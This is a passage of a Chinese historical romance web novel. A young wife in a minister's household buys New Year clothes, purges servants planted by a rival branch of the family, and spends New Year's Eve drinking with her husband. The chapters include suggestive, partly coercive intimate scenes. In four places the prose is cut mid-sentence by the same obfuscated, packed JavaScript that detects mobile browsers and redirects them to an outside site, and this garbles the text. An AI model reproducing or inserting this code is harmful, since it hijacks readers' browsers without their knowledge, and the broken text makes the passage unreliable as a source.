至于新衣，眼见着离过年也不到一个月，再自己做新的定然是来不及的。况许革音还在闺中的时候跟着父兄读书多一些，女红只会些缝缝补补，若要弄些大气的花样实在有些为难。 说到这处，阿册便领着两人去了应天府最好的一家成衣店，此刻竟也还有不少人。 花样都是最时兴的，布料也用的顶好的。 许革音挑了两身圆领袍，一件绛紫的，一件暗红的，想着过年还是穿些红的紫的喜庆一些。 祝秉青平日里偏爱穿些暗色，多青色或藏青的直身，也有时不出门的时候穿些灰褐的道袍，此时这些稍艳一些的颜色加身，俨然一个温润庄正的文官了。 许革音视线在他脸上停留几瞬，视线滑下去，见腰带松松垮垮扣着，布料折起来，堆了一堆褶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782572|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。“这身很是衬你，只腰身大了些，回去我给你改改。” 衣衫很是素净，黑线包边，没有什么纹样，布料却是用的很好，隐有流光。 祝秉青不大注重这些，往常的衣服有一部分是赐服，另外的都是阿册采买的时候顺手拿几件。 再给自己和祝秉毅各挑了两身出门，才在长街上走了两丈路，天空竟然飘起了雪花。 初时许革音都没反应过来，平江的雪最早都要到除夕之后才会下的。 从一开始的细碎到后面的大片，好像也只过了几个呼吸。 许革音怔怔抬脸，心里想着应天府的天气变化是不是总是这样急剧？从秋入冬是，从无到鹅毛大雪也是。同平江是很不同的。 雪花落到她仰着的脸上，薄薄一片，触到体温很快消融，许革音倒是一哆嗦。 她往前疾走了两步，身后有人喊住她：“阿煦，别乱跑。” 脱口而出的时候祝秉青自己也愣了一下，随即看到人已经转身过来，下意识敛了神色，将阿册阿册刚刚买来的伞打开，两步跨到她跟前。 雪花落在她头发上，此刻遮在伞下，化得也很快。 祝秉青看了片刻，那雪花化水，眼见濡湿一片，她还无所察觉。正要伸手替她擦一擦，她却倏然低头下去。 “怎的了？”祝秉青摸了摸她的头发，已经有些潮。 他的手指下滑的时候扳指贴上她的脸颊，极端的冷和极端的热，许革音打了个哆嗦，低声道：“你这样唤我……怪怪的。” 祝秉青却倏然笑了，也跟着压着声音：“不是你非要我改口的吗？” 下元节的时候许革音跟他说过自己小名，只是他根本也没有唤过一次。 最近也是终于察觉到祝秉青并不似表面那般不近人情，渐渐胆子大了起来，昨夜里实在是被欺负得有些狠，淌着眼泪将他的种种冷待细数一遍，其中自然包括不相熟的表妹都比他叫得亲近，是死活也不肯配合了。 祝秉青那会儿才弄到半截，不肯停下，又实在被她挣扎得没辙，便皱着眉掐着她脚踝将人拖到身下压住了。彼时也是这么压着声音，哄道：“好阿煦，乖些。” 同样是压着声音讲话，怎么他就能压得这么沉，这么震耳。 此刻许革音再听他喊“阿煦”，即使只是在这样平常的场景里，也不可避免地质疑这一声“阿煦”后面，究竟会不会再跟上来“乖些，还没好”这样放浪的话。 桐油纸伞稍微遮住半点天光，挽起来的头发却没办法掩盖她红透的耳尖。 于是最终她也只是抬眼轻飘飘瞪了他一眼，转身往前走。 原先淡淡的怅惘早被她抛到九霄云外去了，挨着肩膀同行，看着伞外簌簌的落雪。有时候伞顶上积蓄的雪也会一大堆地滑下来，掉到地上再被人踩在脚底，有很微妙的轻响。 她偏头又看了眼祝秉青露在外面的半边肩膀，风将雪花吹进来伞底的时候会在他的头发上沾一些。 许革音抿抿唇，心想，今朝也算共白头了。 15.暗生根 回府在露白斋用过午膳，祝秉青径自回了书房。 原先采办的东西都是过年将用到的，便也没有收进仓库，春树正将那套暗红色的圆领袍挂上衣架。 暗红色的锦衣抖落开，许革音倏然问道：“今晨的腊八粥是谁煮的？” 春树愣了愣，手还搭在衣架上，回道：“奴婢晨间等在外面伺候，这倒不是很清楚。” 许革音瞧她片刻，叫她去把卢嬷嬷喊来。 这些丫鬟婆子隐约有些蹬鼻子上脸，许革音不是没有看出来。 最早的时候是满脑子记挂着牢狱里的父兄，没心思关注这些细枝末节，如今再是迟钝，也该回过味来。 在屋子里等了小一盏茶的工夫，外面卢嬷嬷才慢悠悠过来了，掀开门口厚重的挡风帘，左右转头找人。及至接上视线，才走过去道：“三少奶奶有何吩咐？” 许革音坐在榻上，微微侧身撇着茶碗里的浮沫，淡淡道：“卢嬷嬷这是去哪里了？竟来得这样慢。” 房里的管事嬷嬷大多是跟在主母身边近身伺候的，平常若非得了吩咐，实在不该擅离职守，叫主子好等。 大约是近日跟祝秉青接触得多了，许革音讲话的腔调竟与他很有些相似。虽是淡声，却有威压，叫人头皮一麻。 卢嬷嬷原地怔了片刻，悄悄抬眼打量。许革音没看她，仍是慢条斯理撇着茶沫，低头轻呷了一口，瞧着并不板肃，像是随口一问。 不过是乡野丫头。卢嬷嬷心里嗤声，面上却赔笑道：“想着三少爷晚间或许要来吃饭的，老奴便在厨房里看着呢。那些丫头到底年轻，又是刚买进府里，做事还欠些火候。” “你倒是殷勤。”许革音笑道。 这话听起来有些怪异，像是在挖苦，可她又确确实实温声细语的。卢嬷嬷略一思索，到底是不大当回事，顺着应道：“主子的事自然是要上心的。” 方几上没有垫布巾，茶碗放下去的时候闷闷一声响，一下子敲到人心里去了。 卢嬷嬷心跳一空，稍稍掀起眼皮打量，正瞧见她的手指按在杯盖正中，指甲盖有些泛白。 许革音不打算继续迂回，道：“今晨的腊八粥都有谁经手，将人都叫过来。” 卢嬷嬷眼皮再掀几分，细细观察着她的神色，斟酌问道：“这是怎的了？” 许革音闻言眉头轻轻皱起来，目光淡淡落在她身上，很有些唬人。 卢嬷嬷当即噤声，显然也知道仆妇本分便是听令行事，实在不该多此一问，于是福了福身后退三步，这才转身出去了。 这次没再耽搁许久，很快领了两个丫鬟进来。 许革音起身走到两个丫鬟跟前踱了两步，慢悠悠道：“今晨腊八粥里竟叫我吃出来一粒枣核，到现在牙还疼着。” 哪怕是在吴县的时候，厨房里的婆子也知道要将红枣核全都剃干净了才能放到粥里熬。 且不说左丞府里规矩繁多，吃食更为精细，犯了这样的错很不应该；后来给祝秉青添粥的时候她也翻了翻，那么一大盅也是干干净净——只那么一个枣核，又恰好在她碗里。 两个丫鬟闻言立时跪下了，膝盖“咚”声磕在地面，头狠狠埋下去，嘴里说着“三少奶奶赎罪，奴婢伺候不周”之类的话。 许革音往后退了一步，重新在榻上坐下来，温声道：“这其实也不是什么大事，人哪有不犯错的时候。” 下面两个小丫鬟明显松了口气，就连旁边的卢嬷嬷肩膀也松懈下来，眼角眉梢很有些“早知如此”的得意。 只是才歇了两口气，两个丫鬟保证着“不敢再有下次”，许革音却又开口问道：“只是我倒是很好奇，这次的枣核究竟确实是不小心，还是故意为之？” 对面几人俱是一僵，没料她此次竟如此难缠，小丫鬟已经是带上了哭腔，道：“便是借给奴婢十个胆子，也是绝不敢如此以下犯上的。” “果真如此吗？”许革音笑道，像是很平常，“那难道是府里不曾好好教你们规矩？” 许革音再是出身低微，到底是正经官家里的闺秀，如今更是左丞府三房名正言顺的主子，没有上头的指点，两个刚买进来的丫鬟又岂敢欺主。 即便是昌亭旅食受人恩惠，也不可能奴颜婢膝，任由仆妇欺凌。 于是许革音继续问道：“上回换下来的床单，洗都没洗直接又给铺了回去也是粗心？前天的陈茶留到了今天也只是节省？” 说罢，抬手将刚刚摆在方几上的茶盏直接掼到地上。 骤然的声响劈开了平静的表象，吓得室内的其余人俱是呼吸一窒，丫鬟一下子将上身趴伏下去。 瓷盏四分五裂，里面浅色的茶汤溅起，连带着黄褐色的茶叶，将丫鬟的浅色裙摆濡湿一片，又淌到地面裹着尘土，一路蜿蜒到膝盖之间。 许革音拿出帕子，擦着手上并不存在的茶汤，平静道：“我的确一贯是很好脾气的。” 帕子被她轻飘飘丢下来，她向前倾身，姿势将她的声音压得冷沉：“是因此觉得我好欺负么？” 两个丫鬟身形一僵，几乎将上身贴到地上，颤抖的声音闷闷传出来：“奴婢不敢。” 许革音直起身，略往后一靠，视线睨下来，好一会儿没说话。 气氛像是骤然绷紧的琴弦，她的指尖在桌面上敲了两下，像是拨响了两道尖细的高音。 俄顷，许革音倏然笑道：“你们是大奶奶送来的人，我也很是敬重大奶奶，若太过计较这样的小事反而不留情面。” 房里其余三个人立时屏住了呼吸，接着又听她道：“院子里跪一天。再有下次，便没这么轻松了。” 卢嬷嬷见两个丫鬟退出去，悬着的一口气渐渐松下来。 - “这罚得也实在不痛不痒。”颓山面无表情点评道。 祝秉青正查着翻着直南隶历年税收细则，闻言未置一词。 柏呈等了等，见两边都没了下文，这才又道：“三少奶奶方才应当是给大奶奶那边递了拜帖，现在人已经过去了。” “又要将人全须全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792907|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾送回大房里？”颓山猜道。 上回那个爬了床的暮云，回了大房之后也不过是干了一个月的浆洗的重活，罚了两个月的月俸，如今听说是定下了一个很体面的家生子，往后大约要送到庶小姐身边伺候。 ——实在是罚不当罪。 “如果她不笨的话，该是去要身契了。”祝秉青用朱笔在一个人名上圈了个圈，浓重的朱砂深深印进册里，“加水。” 狼毫笔搁置下来，磕到笔架上的时候笔尖砸出来一小滴饱满的艳红墨水。 颓山拿布巾擦了，又往砚台里倒了些水，重新磨匀。 “只是丫鬟现在都已经在院子里跪着了，即便身契要回来，再罚一遍岂不是有些无理？”柏呈视线跟着狼毫笔转了一圈，又重新挪回来。 祝秉青视线没从卷册里离开半分，“醉翁之意不在酒，罚两个刚买进来的丫鬟有什么用。” 两个刚进府的丫鬟能顶什么事儿，后宅里的事情处理起来也讲究个釜底抽薪。况且身契不在手里，怎么罚都是名不正言不顺。 柏呈闻言兀自沉思一会儿，心道不论如何，这三少奶奶如今总算也知道摆起主母的架子肃清后宅，三少爷终于也能稍稍省点心。 他这边刚想着，祝秉青头也不抬地吩咐道：“近日叫阿册也留意着牙行，若有合适的，留下来几个。” 顿了顿，又补充道：“她若要自己出去挑人，你也暂且跟着。” 三房如今不似从前，到底是紧缺人手的。大房送来的不堪用，那边三少奶奶白日里的饮食起居都是需要仆妇操心的，出门也得有侍卫跟着。 况且祝秉青留宿在露白斋的时候多了，只留阿册一个近身伺候到底不大方便。 - 到傍晚的时候，许革音从大房回来，直接进了片玉斋，到书房外面叫阿册进去通传一声。 里面颓山刚巧推门出来，见到人愣了一愣，才唤了声“三少奶奶”，她倒已经点了点头，视线越过自己往屋里看过去。 祝秉青听见响动抬头，见她巴巴盯着自己，沉默一阵，道：“进来。” 门关起来不知道聊了什么，很快两个人又并肩走出来。 颓山看着景门前消失的两道身影，嘴角一抽，罕见同旁边阿册搭话：“你知道我刚刚出来干什么的吗？” 颓山也是打小就跟在祝秉青身边的，迄今已经十来年了，后头又帮着他处理些官场上的杂事，脾性也跟祝秉青似的沉默寡言，平时若非必要，并不爱与人闲聊。 阿册见他主动起了话头，很是吃惊，奇了一眼，问道：“做什么的？” 颓山偏头瞧他，一字一句道：“叫你待会儿见到露白斋的人来请，不必通传，直接回了。” 阿册一愣，再次转头看向刚刚二人消失的方向，脸上很是犹疑。 祝秉青很是个说一不二的性子，向来也是三思而后行，很少有临时变卦的时候。只是—— 祝秉青这会儿跟着许革音还能去哪儿？不就是要留宿露白斋吗？ 16.石佛心 院门一关，宅子里的仆妇用调多半是由主母全权负责，但许革音还是先知会了祝秉青。 “大奶奶送来的这几个手脚虽也麻利，到底不是自己挑上来的，心不是很诚。”许革音将自己窝在他怀里，“我今日去大房将她们的身契要回来了，后面不犯错便也罢了，若还不知悔改，便遣出去。” 祝秉青不置可否，“这些你做主便好。” 许革音翻身，手肘将自己撑起来，抬头看着他，道：“我想问你借个人。” 动作间，她的头发滑下来，划过他的手臂,沁凉。 祝秉青手臂还压在她身下，十分顺手攥住她那边的被子拉高，盖住裸露的肩头，“嗯”了一声，很明显知道她要人来干什么，道：“若不想亲自经手，便叫阿册去。若愿意亲自跑一趟，便带上柏呈，他会些功夫。” 餍足了的祝秉青脾气要格外好一些，讲话的时候声音里都带着淡淡的倦懒，甚至很愿意多说两句话。许革音日渐发现这一点。 她应了一声，又趴下来，温润的身体覆盖上来，身上哪哪儿都是软的。 祝秉青有些喜欢这样略低于自己的体温，隐约间汲取自己身上过甚的燥热。手又抚上她的脊背，到处揉揉捏捏，把玩儿一样。 隔了一会儿，祝秉青以为她都要睡着了，底下闷闷又传出来几句话：“我前些时日里忧思太重，没有注意到这些。” 她又停一停，像是特意留些让他接话的机会。随后道：“从前在吴县的时候府里清净少人，如今实在有些惶恐，难免畏首畏尾，有时还得劳烦你提点一二。” 倒是很爱反思的一个小娘子。 祝秉青手抬上去，揉两下她头顶的头发，眼睛已经闭起来。 他并不好为人师，也不认为言传即能授业。 如今他的功名官位是自己摸爬滚打挣出来的，连三爷的功勋也是他费尽心机守住的，其间从未有谁施以援手，不过全凭自己摸索。 求人往往不如求己。于是他只是“嗯”了一声，没了下文。 许革音闻声沉默下来，好半晌才轻手轻脚翻了个身，对于他这样的反应微微有些失望。 耳边的呼吸渐渐平缓，许革音身体上是很有些疲乏的，但是睁着眼睛却不太能睡得着，心里仍记挂琢磨着后院这些仆妇的事情。 虽然是因为父兄的官司才入了左丞府，但是既然嫁进来，往后的日子总要好好经营，后院风气不能不着手整肃。 这些仆妇都是大奶奶送来的，去要身契的时候才知道四个小丫鬟里只有两个是在牙行新买的，另两个原先在大房的厨房里干事。 这几个丫鬟不遣出去也就罢了，往洗衣房或者旁的地方放一放，总之不要带在身边，成不了什么气候。 只是这卢嬷嬷，原先也是在大房里做了许久的差事，差不多比肩李嬷嬷的位置，也是大奶奶的亲信。虽说如今大奶奶与三房面上和和气气，可若是身边的人心在外面，用起来到底膈应。 况且此番大奶奶又说原先已经打算将卢嬷嬷放出去，身契都已经销毁了，如今已是自由身，留在左丞府里只不过是卖些人情，图些月俸油水，总归并不能为三房所用。 很没有将她留下的必要。 许革音想到此处缓缓吐出来一口气，停了片刻，偏头去看祝秉青。 床幔已经放下来，隔绝月光，许革音看不清他的脸，却能从侧面看到鼻子危耸的剪影，呼吸声平缓均匀，大约已经睡着了。 她盯着黑暗中深刻的侧脸剪影看了片刻，几不可察叹出来一口气。 有时候也觉得他是很好说话的，但大多时候他总是冷淡疏离，像是对她跟对旁人别无二致。 - 许革音接下来的几日里借着去看望祝秉毅的由头，私底下叫阿册去外头的时候多留意些身家干净、心思单纯的仆妇丫鬟，转头回到露白斋的时候却将卢嬷嬷叫到跟前，将三房采买的活计交到了她手上。 过了一旬，再去到祝秉毅的春晖阁的时候，阿册便上前道：“三少奶奶，年底不大好物色，如今只找到一个姓王的人家。” 仆妇是比丫鬟难找些，再早两天的时候，阿册刚领了两个丫鬟进了露白斋，一个叫支风，一个叫借月，如今已经带在了身边。但是往往主子贴身伺候的仆妇，大多是家生子，打小进了府里，一天天栽培起来，才敢委以重任。 阿册拿出来一张纸，上面有个简单的画像，旁边记录着基本信息。“这个王婆子，家里男人原先是种田的，去年摔断了腿，家里揭不开锅，这才出来讨生活。去打听了一番，夫妇两个都是很老实的人。” 祝秉青身边的人许革音是很放心的，于是点点头，继续着手上剥瓜子的动作，道：“这两日先给她讲讲规矩，过些天再带进来。” 丫鬟倒还好说，调用本就随心，况先前送了一个暮云出去，原先就少人手。但若贸然将婆子领进去，反倒容易惹了大房那边的不快。还得先将嬷嬷的位子空置出来才好。 阿册应声，又掏出来一张单子，上面只是一些厨房里鱼肉蔬菜的采买账目。“都按照您的吩咐买来了，现在都在片玉斋里搁着，您看什么时候送到露白斋去？” 许革音将账单过了一遍，回道：“不用，留在厨房里便好。” 这账单上的进价明显跟卢嬷嬷报上来的差了一截儿。然而菜市之中即便有差价，也差不过两文钱。 卢嬷嬷果真贪图油水钱，那便好办得多了。 许革音想到此处，眉眼都松弛下来，将薄薄的账单叠起来，塞进袖中，又将原先剥好的瓜子推到祝秉毅面前，再给他换了杯热水。 等到午饭的时候，露白斋里膳食已经准备好了，卢嬷嬷正站在一旁候着。 刚踏进屋里，借月贴近一步替她解披风，春树从里面迎出来，慢了两步，此刻手要伸不伸地杵在身前，许革音也权当没看见，偏头向桌子旁边的卢嬷嬷道：“刚刚去春晖阁里的时候见秉毅那便的墨条快用空了。如今咱们当家，是很不该短了小叔子的用度的，你明日便去市集上挑些好的回来。” 卢嬷嬷连忙笑着应了，嘴里应和道：“七少爷读书也是很用功的，向来笔墨用得格外快些，老奴明日里便去挑些最好的回来。” 许革音似笑非笑，淡淡瞥她一眼，点一点头，坐下来用饭。 - 李嬷嬷赶到露白斋的时候，卢嬷嬷正趴在地上哭叫。再走近两步，这才看见她那两边脸都已经肿得老高了。 许革音见李嬷嬷过来行礼，点了点头，这还没说话，旁边支风便道：“李嬷嬷来得正好，这卢嬷嬷孙子如今得了些病，日暮途穷，竟将主意打到主子身上了！” 李嬷嬷思绪被这个眼生的丫鬟扯开一些，本就很不愿意将此事声张，于是将支风上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803869|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下打量了，脱口问道：“你是哪里的丫鬟，此前怎的不曾见过？” “房里缺些人手，新添了一些。”这回许革音淡淡道。 李嬷嬷便笑道：“三少奶奶这边短人只管同大奶奶……” “李嬷嬷。”许革音打断，视线冷然，没了下文，却抿出个笑容。 李嬷嬷的声音在她的眼神中淡下去，也意识到此刻实在不是再想着塞人的时候。 许革音差人去大房里通告的时候便已经说了，这卢嬷嬷是贪了二十两的银子。这便是放到富农和商户家里，也是足够吃穿一整年的！ 至于卢嬷嬷借口里的那孙子，李嬷嬷也是清楚的，之前确实得了病，拖了一年也就治好了，如今是胆子养肥了，想趁着离府之前再多揩点油罢了。 大奶奶自然不可能因为仆妇的事情出面，但人也实实在在是大房送过去的，此刻李嬷嬷也只能硬着头皮对着卢嬷嬷那边痛心疾首演戏道：“糊涂啊！大奶奶叫你来尽心辅佐三少奶奶，你竟干出这样的事情来！” 大奶奶原先将人送进来，也不过是为了多个眼线。若是运气好些，拿捏了这许氏，往后三房后宅也是能插上一手的。如今出了这样的事，更不可能为了这样一个半截身子入土的仆妇伤了两房表面上的和气。 只是卢嬷嬷到底是在大房里做了许久的，很知道些不堪的往事，万一怀恨在心反咬一口也是很要命的。 于是李嬷嬷只能赔笑道：“出了这样的事，大奶奶心里也实在愧疚——原是好心，不想竟办了坏事。” 许革音则是惋惜道：“我自然体谅大奶奶的心意。卢嬷嬷也实在糊涂，我很是心软，好好与我说，我又怎会不帮？” 这话听到耳朵里颇有些怪异，李嬷嬷干笑两声应道“自然”，又道：“大奶奶的意思是，这恶仆便先领回去处置了，也省得脏了三房的地儿。” 许革音捏着杯盖在茶盏上抹了一圈，瓷器摩擦出沙沙声响，她漫不经心抬眼起来，笑道：“何须如此麻烦？前些时候大奶奶同我说了，这恶仆的身契已经销毁，此番便算偷盗了，直接扭送官府即可。” 李嬷嬷顿时头上汗如雨下，哪里敢真叫她将人送到官府里。于是只能磕磕巴巴道：“话虽如此，到底是从前跟在大奶奶身边的，总有些情分在，又何必如此不留情面。” 捏着杯盖的手突然松懈，杯盖落下来，清脆的一声响，甚至能听到茶汤溅出来的声响。 李嬷嬷没抬头，听到上面带着笑的声音：“这话倒是说得有意思。” 李嬷嬷只觉得浑身汗毛都竖了起来——分明是笑语，怎的愣生生听到人耳朵里却是冷森森的。 正绞尽脑汁想着要怎么圆回去的时候，许革音道率先松口道：“罢了，既然大奶奶坚持——来人，将人拖到东园去罢。” 那卢嬷嬷原先被打了几十个巴掌，如今眼见事有转机，绷着的神经松下来，也不再叫唤求饶。 李嬷嬷又赔笑两句，信誓旦旦回去定要严惩，转身的时候笑容是陡然下了脸。 ——这许氏如今是真飞上枝头变凤凰，端起架子耍起威风来了！ 这回还得回去再跟大奶奶细细交代，送来的几个丫鬟婆子已经折了两个，这次又搭上一个嬷嬷，往后再想塞些下人怕是有些难了。 只是先前祝秉青又是从来不肯收通房的，如今也是不知道还能不能动些手脚。 17.柏叶酒 许革音本就只求将这心怀不轨的婆子赶出去，到底不是要跟大奶奶撕破脸皮。 不论如何，终究是承了左丞府的恩情，言语上严厉一些表明态度便也够了，眼看着将近年关，很没有必要闹得太难看。 一朝将卢嬷嬷送走，院子里的下人也规矩了许多。另两个丫鬟也远远打发到浣洗房里去了，身边只还留了个春树。 春树向来是没犯过什么大错，许革音不好无缘无故再将人赶走，那便真真是明面上要跟大奶奶对着干了。 这些时日里许革音也多少参透些，大奶奶往三房里送些仆妇虽有私心，却并非全是恶意。 早一个月前听说大房又接进来一个养在外面的外室，才跟祝秉鹤差不多的年纪。可再往前推十几年，大爷求娶的时候也曾急到跪在人家正厅里，情真意切。 到底是少时真心相待的，走到如今这个地步便很有些难看。大奶奶如今是死了心，把指望全放在了唯一的儿子祝秉鹤身上，想来是想要笼络祝秉青的，却隐约又有些忌惮。 ——不然此前也不能将亲信的暮云往他床上送。 这实在是太过正常，哪怕以前在吴县的时候，也曾有秀才想将家里的妹妹送到许宅给许士济做续弦的。 吴县尚且如此，祝秉青如今又平步青云，势头正盛，往后这样的事情只会更多。现下他没有要纳妾的意思，可以后却是说不准的。 到时候她也只能端起容人的气度，亲自将他合眼的姑娘接进来好生安置。 许革音想到此处，到底再难开怀，沉沉吐出一口浊气，起身去内室换了身新衣。 今日是除夕，晚上的时候惯例又是要去正园坐在一起吃团年饭的。许革音早早便叫支风在北园门口候着，等祝秉青下了值，结伴而行。 厅里照旧还是热热闹闹，到大奶奶跟前见礼的时候她也神色如常，很是和善，像是不曾因为仆妇的事情有所不满。 宴席过半，许革音正夹着饺子蘸醋，却听左丞提她，道：“三哥儿，许氏已经进府将近四个月了，你即便平日里公务繁忙，也该托付大房二房领着，多与京中夫人走动。” 这话虽不是对着许革音说的，她还是放下了筷子坐正，视线落到祝秉青身上去，等着他的下文。 “祖父教训得是。”祝秉青挽着袖子将筷子搁置下来，身体微微向主座侧身。 左丞提起酒杯呷了一口，视线再次落下来，这回却是同许革音说的：“上次听见大理寺正问起你，大约还是你父亲在平江的旧识。” 大理寺与刑部同占三法司一席，又是专门负责复核重大案件的，即使只是六品的大理寺正，也多得左丞一分敬重。 许革音一时没能想起来大理寺正究竟是从前的哪位旧识了，又听他道：“既是旧识，也该多联络，择日叫老大媳妇带你递帖见见寺正夫人。” 许革音恭顺应了一声，兀的似乎听到旁边有轻微的冷哼。抬眼看过去的时候祝秉青分明神色如常。 厅里静下来，只听见琴音从中间泄出来。 原先还有人讲着小话，这会子一同沉默下来很有些肃穆，即使有欢快的乐曲，也浑不似过年。 杯盏筷箸的碰撞声响参差，祝邈又道：“如今也有消息了，圣人大约年后就会将调任的谕旨放下去，你那边准备得怎么样了？” 这说的是祝秉青升任刑部清吏司郎中的事儿。 虽然先前曾因为此事有过龃龉，但到底同在一府，荣辱相关，府中出了一个刚及冠的郎中，实在是件很光彩的事，往后亦有颇多助益。 祝秉青又将手收到膝盖上，回道：“大宪卿已经将诸事都交接妥当了，过了年便会正式卸职。” 九月底的时候太常卿病了一场，拖了些时日，钦天监曰年前朝局不宜再有大变动，便将太常卿致仕一事推到了来年一月。 “刑部是个很要紧的地方，圣人赏识你，自然是好事一桩。”祝邈点点头，又训诫起来，“只是往后你做了刑部清吏司郎中，却也不要舍本。像我们这样的世家，一荣俱荣，一损俱损。” 这话隐约带点警告。 祝秉青眼睫一垂，淡淡道：“孙子明白。” 许革音此前几乎没有听他讲过官场上的事情，单单于新婚夜知道了他在任比部司员外郎。他这般年轻，便官拜刑部清吏司郎中，即使是有太常卿致仕的巧合，也已经很了不起。 祖孙两个短短聊了几句便没了下文，祝秉青转而捏起酒杯，没送到嘴边，而是一角支在馔案上转了一圈，随后视线掠下去，落到厅堂中间的乐伶身上。 他的脊背绷得很直，神色淡到肃正，像是看得很认真，连许革音在旁边瞧了他许久也没有回头看一眼。 又或许只是不想回应。 这样的家宴总是冗长，及至亥时，才有歇宴的意思。唯有祝秉毅孱弱，有些特权，早早回了。 大房二房的人走在前面，厚重的防风帘打开便没有放下去。才往外走些便从小腿泛上来寒意。 再往前走两步，冷风扑面而来，立时化成了薄薄的水汽，在脸上匀覆一层。 自下午便开始飘的雪到现在也没有停下的趋势，被庭院零星的灯柱一照，在深黑的夜幕里裹上一层暖光，像是坠落的星星。 地上的雪已经积了一层，踩上去咯吱作响。几道脚步重叠响在暗夜，于是似乎也成了一种协奏。 踏进了北园，许革音先一步拉住他的小臂，力道也是轻轻的，像此刻拂衣而下的细雪。 “除夕快乐。”她说。 祝秉青今夜分明是一如往常的淡然庄正，却莫名叫人觉得兴致不大高。此刻也只是点点头，回了句一样的。 今日既不是初一也不是十五，却也是个相当重要的节日。只是他此刻又这样冷淡，许革音拿不准他今夜的打算，便委婉道：“今日宴上的酒只是寻常的清酒，应天府新岁不喝柏叶酒么？” 顿了顿，又道：“若你想尝尝，露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820725|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白斋里备了的。” 已经是明晃晃的邀约了。 祝秉青平日里虽瞧着淡漠，但细数起来其实没有拒绝过她几次。这次也没有叫她失望。 只是当酒洒到她的襟口的时候，她才真正意识到此前并非是她的错觉——他当真心情不大好。 于是像是起了什么折磨人的心思，刻意要将她灌醉一样，一杯接着一杯往她唇边送。 后面更是变本加厉。手指一松，小小的酒杯掉落在枕边，洇出一圈深痕。许革音才低头看了一眼，下巴又被人捏起来，细长的壶嘴已经贴到唇上。 她咬住细细的壶嘴，祝秉青戴着扳指的那根拇指按在她的喉咙上，只带轻微的力道就已经很明显，余下的手指拢托住后脖颈，是一点也不肯她退缩。“咽下去。” 拇指摩挲，感受着指腹下面的滚动，像是仔细的检查，很有些严苛。 但也知道再给一颗甜枣，“慢点，别呛着。” 许革音不太喝酒，从前年纪小，父兄在家里只在除夕新年的时候肯她沾个唇——椒花献颂，柏酒浮春，也只是沾沾喜气罢了。 此刻却像是受了蛊惑，总觉得他淡淡瞥下来的视线里有些不为人知的幽郁，莫名承担起抚慰他的心情的责任，即使自知酒量不深，还是很乖顺地一口一口往下吞咽。 “好乖。”祝秉青突然道。 这不是他寻常的作派，许革音脸上立时翻红，喉咙里像是陡然升起气墙，再多灌进去的酒都流不下去，从嘴角满溢出来，很有继续反冲到鼻腔的势头。 这令她连简单的呼吸都变得极为困难，下一瞬便突然偏头，攀着他的手臂呛咳起来，连脖颈都红了个透。 祝秉青手臂端得很稳，一动不动任由她靠着咳了一会儿，才伸了另外一只手到她背后拍了两下。 转而又单手捏着酒壶，指尖一挑，顶上的塞子斜飞了出去，远远摔到地上，随着清脆的一声响，四分五裂。 许革音咳得眼泪都出来了，先前咽下去的酒却像是顺着喉管逆流而上，脑子已经迟缓下来，随着瓷碎的响动战栗一下。 “碎碎平安。”她道。是基于本能地，在这样的节日里避谶。 祝秉青视线从她潋滟的嘴唇逡巡到朦胧的眼睛，最后又重新回到微张吐息的唇瓣，这回直接将酒壶送到自己嘴边。 他吞咽的声响更重，更缓，三两口将余下的柏叶酒咽下去，再将她连着瓷白的酒壶一起抱进怀里。 他湿润的嘴唇贴过去，直到残酒浸润填满另一张嘴唇上的每一条纹路，才略微分开。鼻尖相抵，呼吸交缠。 柏叶酒很暖身，祝秉青心想。像是随着搏动的心口，融进滚烫的血液，一路烧热到指尖。 但是手指碰到她滚热的脸颊的时候，手底下的人还是哆嗦一下。 将她再从锁温的厚衣里解救出来的时候，她又哆嗦一下。 “岁岁平安。”他说。 声音都像是被酒烧哑了。